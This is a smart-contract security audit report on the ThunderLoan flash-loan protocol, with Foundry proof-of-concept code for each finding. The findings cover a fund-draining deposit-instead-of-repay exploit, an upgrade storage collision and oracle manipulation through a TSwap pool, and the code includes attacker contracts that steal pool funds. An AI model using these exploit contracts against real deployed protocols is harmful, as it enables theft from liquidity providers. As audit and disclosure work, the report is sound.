ThunderLoan Audit Report

Version 1.0

Operation-C

October 21, 2024

ThunderLoan Audit Report

Operation-C

October 21, 2024

Prepared by: Operation-C

Lead Security Researcher:

- Operation-C

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
  - Issues found
- Findings
  - [H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
  - [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
  - [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`
  - [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The Operation-C team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum

- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Scope

- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Issues found

Category	No. of Issues
High	3
Med	1

Findings

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1     function deposit(IERC20 token, uint256 amount) external
          revertIfZero(amount) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6         assetToken.mint(msg.sender, mintAmount);
7
8         // @audit- high: we shouldnt be updating the exchange rate here
9     ->  // uint256 calculatedFee = getCalculatedFee(token, amount);
10    ->  // assetToken.updateExchangeRate(calculatedFee);
11
12        token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
13    }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concepts There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

```
1     function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2         uint256 amountToBorrow = AMOUNT * 10;
```

```
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);

        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");

        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;

        vm.startPrank(liquidityProvider);

        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended mitigation Remove the incorrect updateExchangeRate lines from `deposit`

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit- high: we shouldnt be updating the exchange rate here
    -   uint256 calculatedFee = getCalculatedFee(token, amount);
    -   assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a `flashloan`
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function
3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

Proof of Code

```
    function testUseDeposit() public setAllowedToken hasDeposits {
        // instead of repaying use deposit

        uint256 amount = 50e18;
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
            ));
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amount);


        vm.startPrank(user);
        tokenA.mint(address(dor), fee);

        thunderLoan.flashloan(address(dor), tokenA, amount, "");

        dor.redeemMoney();

        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > fee);
    }



contract DepositOverRepay is IFlashLoanReceiver {

    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(address token, uint256 amount, uint256
        fee, address /*initiator*/, bytes calldata /*params*/) external
        returns (bool) {
```

```
34
35          s_token = IERC20(token);
36
37          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
38
39          s_token.approve(address(thunderLoan), amount + fee);
40
41          thunderLoan.deposit(IERC20(token), amount + fee);
42
43          return true;
44      }
45
46      function redeemMoney() public {
47          uint256 amount = assetToken.balanceOf(address(this));
48          thunderLoan.redeem(s_token, amount);
49      }
50  }
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2   +       if (s_currentlyFlashLoaning[token]) {
3   +           revert ThunderLoan__CurrentlyFlashLoaning();
4   +       }
5           AssetToken assetToken = s_tokenToAssetToken[token];
6           uint256 exchangeRate = assetToken.getExchangeRate();
7           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
8           emit Deposit(msg.sender, token, amount);
9           assetToken.mint(msg.sender, mintAmount);
10
11          uint256 calculatedFee = getCalculatedFee(token, amount);
12          assetToken.updateExchangeRate(calculatedFee);
13
14          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
15      }
```

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
1
2           uint256 private s_feePrecision;
3           uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
        uint256 private s_flashLoanFee; // 0.3% ETH fee
        uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Proof of Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```

    // You'll need to import `ThunderLoanUpgraded` as well
    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
        ThunderLoanUpgraded.sol";

    function testUpgradeBreaks() public {
            uint256 feeBeforeUpgrade = thunderLoan.getFee();
            vm.startPrank(thunderLoan.owner());
            ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
            thunderLoan.upgradeTo(address(upgraded));
            uint256 feeAfterUpgrade = thunderLoan.getFee();

            assert(feeBeforeUpgrade != feeAfterUpgrade);
        }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```

-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (uint256
           ) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3  ->      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
       ();
4      }
```

Proof of Code:

```
1      function testOracle() public {
2          thunderLoan = new ThunderLoan();
3          tokenA = new ERC20Mock();
4          proxy = new ERC1967Proxy(address(thunderLoan), "");
5
6          BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
               ;
7
8          // create a TSwap DEX between WETH / Token A
9          address tswapPool = pf.createPool(address(tokenA));
10         thunderLoan = ThunderLoan(address(proxy));
11         thunderLoan.initialize(address(pf));
12
13         // 2. fund tswap
14         vm.startPrank(liquidityProvider);
15         tokenA.mint(liquidityProvider, 100e18);
16         tokenA.approve(address(tswapPool), 100e18);
17         weth.mint(liquidityProvider, 100e18);
```

```
18          weth.approve(address(tswapPool), 100e18);
19          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
20          // ratio 100 weth : 100 token A -> 1:1
21          vm.stopPrank();
22
23          // 3. fund thunder loan w/ money
24          vm.prank(thunderLoan.owner());
25          thunderLoan.setAllowedToken(tokenA, true);
26          // fund thunder loan as this amount will be the amount that is
                used to conduct the flash loan
27          vm.startPrank(liquidityProvider);
28          tokenA.mint(liquidityProvider, 1000e18);
29          tokenA.approve(address(thunderLoan), 1000e18);
30          thunderLoan.deposit(tokenA, 1000e18);
31          vm.stopPrank();
32          // 100 weth & 100 tokenA in TSwap
33          // 1000 tokenA in thunderLoan to borrow
34
35          // 4. we are going to take out 2 flash loans
36          // now will take out a flashloan tanking the price
37
38          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
39          console.log("Normal Fee is: %s", normalFeeCost);
40          //   Normal Fee is:     0.296147410319118389
41          //   After 2nd loan:    0.214167600932190305
42
43          uint256 amountToBorrow = 50e18;
44
45          MaliciousContract flr = new MaliciousContract(address(tswapPool
                ), address(thunderLoan), address(thunderLoan.
                getAssetFromToken(tokenA)));
46
47          vm.startPrank(user);
48          tokenA.mint(address(flr), 100e18);
49          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
50
51          vm.stopPrank();
52
53          uint256 attackFee = flr.feeOne() + flr.feeTwo();
54          console.log("attack fee", attackFee);
55          assert(attackFee < normalFeeCost);
56
57              // a. to nuke the price of the weth/ tokenA on tswap
58              // b. to show that doing so greatly reduces the fees we pay
                    on thunder load
59      }
60
61
```

```
// 1. swap tokenA borrowed for weth
// 2. take out another flash loan, to show the difference

contract MaliciousContract is IFlashLoanReceiver {

    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;

    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. swap token A borrowed for weth

    // 2. take out anothyer flash loan to show the difference

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;

    }

    function executeOperation(address token, uint256 amount, uint256
        fee, address initiator, bytes calldata params) external returns
        (bool) {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // this will tank the price
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // call another flashloan to get tokens at a discount
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        else {
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
```

```
                    );
105                 // thunderLoan.repay(IERC20(token), amount + fee);
106                 IERC20(token).transfer(address(repayAddress), amount + fee)
                        ;
107             }
108             return true;
109         }
110     }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.